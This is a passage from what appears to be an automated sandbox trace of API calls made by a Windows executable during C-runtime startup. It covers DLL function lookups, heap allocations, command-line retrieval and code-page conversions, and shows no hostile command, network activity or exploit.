lpProcName="GetCurrentThreadId") returned 0x76e21450 [0083.120] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0083.120] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0083.120] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0083.120] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0083.120] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0083.121] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0083.121] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0083.121] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0083.121] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0083.121] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0083.121] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0083.121] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0083.121] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0083.121] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0083.121] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0083.121] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0083.121] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0083.121] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0083.121] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0083.122] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0083.122] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0083.122] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0083.122] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0083.122] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0083.122] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0083.122] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0083.122] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0083.122] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0083.122] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0083.122] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0083.122] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0083.122] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0083.122] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0083.123] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0083.123] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0083.123] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0083.123] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0083.123] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0083.123] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0083.123] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0083.123] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0083.123] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0083.123] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0083.123] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0083.123] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0083.123] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0083.123] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0083.123] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0083.124] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0083.124] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0083.124] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0083.124] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0083.124] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0083.124] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0083.124] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0083.124] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0083.124] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0083.124] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0083.124] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0083.124] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0083.124] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0083.124] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0083.125] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0083.125] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0083.125] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0083.125] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0083.125] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0083.125] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0083.125] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0083.133] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0083.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xd557c6e0, dwHighDateTime=0x1d5d06a)) [0083.134] GetCurrentThreadId () returned 0xcb4 [0083.134] GetCurrentProcessId () returned 0xcb0 [0083.134] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=22508584626) returned 1 [0083.134] GetProcessHeap () returned 0x580000 [0083.134] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0083.134] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0083.135] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0083.135] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0083.135] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0083.135] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0083.135] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0083.135] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0083.135] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0083.135] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0083.135] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0083.135] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0083.135] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0083.135] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0083.135] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0083.135] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0083.135] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0083.136] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0083.136] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0083.136] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0083.136] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0083.136] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0083.136] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0083.136] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0083.136] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0083.136] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0083.136] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0083.136] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0083.136] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0083.136] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0083.136] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0083.136] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0083.137] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0083.137] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0083.137] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3bc) returned 0x597088 [0083.137] GetCurrentThreadId () returned 0xcb4 [0083.137] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x18) returned 0x597450 [0083.137] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x800) returned 0x597470 [0083.137] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0xe91fa885, hStdError=0x0)) [0083.137] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0083.137] GetFileType (hFile=0x3) returned 0x2 [0083.138] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.138] GetFileType (hFile=0x7) returned 0x2 [0083.138] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0083.138] GetFileType (hFile=0xb) returned 0x2 [0083.138] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" [0083.138] GetEnvironmentStringsW () returned 0x597c78* [0083.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb7a) returned 0x598800 [0083.139] FreeEnvironmentStringsW (penv=0x597c78) returned 1 [0083.139] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0083.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x597c78 [0083.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xa0) returned 0x597d18 [0083.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3e) returned 0x594db8 [0083.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x597dc0 [0083.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6e) returned 0x597e38 [0083.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x78) returned 0x58f8e8 [0083.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x62) returned 0x597eb0 [0083.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2e) returned 0x597f20 [0083.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x48) returned 0x597f58 [0083.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1e) returned 0x596a58 [0083.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x28) returned 0x597fa8 [0083.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1a) returned 0x596a80 [0083.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x4a) returned 0x597fd8 [0083.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x72) returned 0x58f968 [0083.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x30) returned 0x598030 [0083.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2e) returned 0x598068 [0083.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1c) returned 0x596aa8 [0083.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xd2) returned 0x5980a0 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x7c) returned 0x598180 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x36) returned 0x598208 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3a) returned 0x594e00 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x90) returned 0x598248 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x24) returned 0x5982e0 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x30) returned 0x598310 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x36) returned 0x598348 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x48) returned 0x598388 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x52) returned 0x5983d8 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3c) returned 0x594e48 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x18) returned 0x598438 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x82) returned 0x598458 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2e) returned 0x5984e8 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1e) returned 0x596ad0 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2c) returned 0x598520 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x54) returned 0x598558 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x52) returned 0x5985b8 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2a) returned 0x598618 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x3c) returned 0x594e90 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x54) returned 0x598650 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x24) returned 0x5986b0 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x30) returned 0x5986e0 [0083.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8c) returned 0x598718 [0083.140] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598800 | out: hHeap=0x580000) returned 1 [0083.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x800) returned 0x5987b0 [0083.141] GetLastError () returned 0x0 [0083.141] SetLastError (dwErrCode=0x0) [0083.141] GetLastError () returned 0x0 [0083.141] SetLastError (dwErrCode=0x0) [0083.141] GetLastError () returned 0x0 [0083.141] SetLastError (dwErrCode=0x0) [0083.141] GetACP () returned 0x4e4 [0083.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x220) returned 0x598fb8 [0083.141] GetLastError () returned 0x0 [0083.141] SetLastError (dwErrCode=0x0) [0083.141] IsValidCodePage (CodePage=0x4e4) returned 1 [0083.141] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0083.141] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0083.141] GetLastError () returned 0x0 [0083.141] SetLastError (dwErrCode=0x0) [0083.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0083.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0083.141] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0083.141] GetLastError () returned 0x0 [0083.141] SetLastError (dwErrCode=0x0) [0083.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0083.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0083.141] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0083.142] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0083.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x15©\x1féäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0083.142] GetLastError () returned 0x0 [0083.142] SetLastError (dwErrCode=0x0) [0083.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0083.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0083.142] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 